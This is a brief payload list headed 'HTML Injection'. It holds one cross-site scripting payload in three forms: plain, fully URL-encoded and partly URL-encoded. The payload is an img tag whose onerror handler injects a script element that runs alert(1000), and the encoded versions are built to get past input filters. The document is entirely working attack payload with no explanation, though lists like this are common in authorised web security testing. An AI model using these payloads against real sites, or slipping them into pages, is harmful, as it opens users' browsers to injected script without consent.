HTML Injection

<img src=x onerror="document.getElementsByTagName('body')[0].appendChild((function(){var x=document.createElement('script');x.innerText='alert(1000)';return x})());">

%3Cimg%20src%3Dx%20onerror%3D%22document.getElementsByTagName(%27body%27)%5B0%5D.appendChild((function()%7Bvar%20x%3Ddocument.createElement(%27script%27)%3Bx.innerText%3D%27alert(1000)%27%3Breturn%20x%7D)())%3B%22%3E

%3Cimg%20src=x%20onerror=%22document.getElementsByTagName('body')[0].appendChild((function()%7Bvar%20x=document.createElement('script');x.innerText='alert(1000)';return%20x%7D)());%22%3E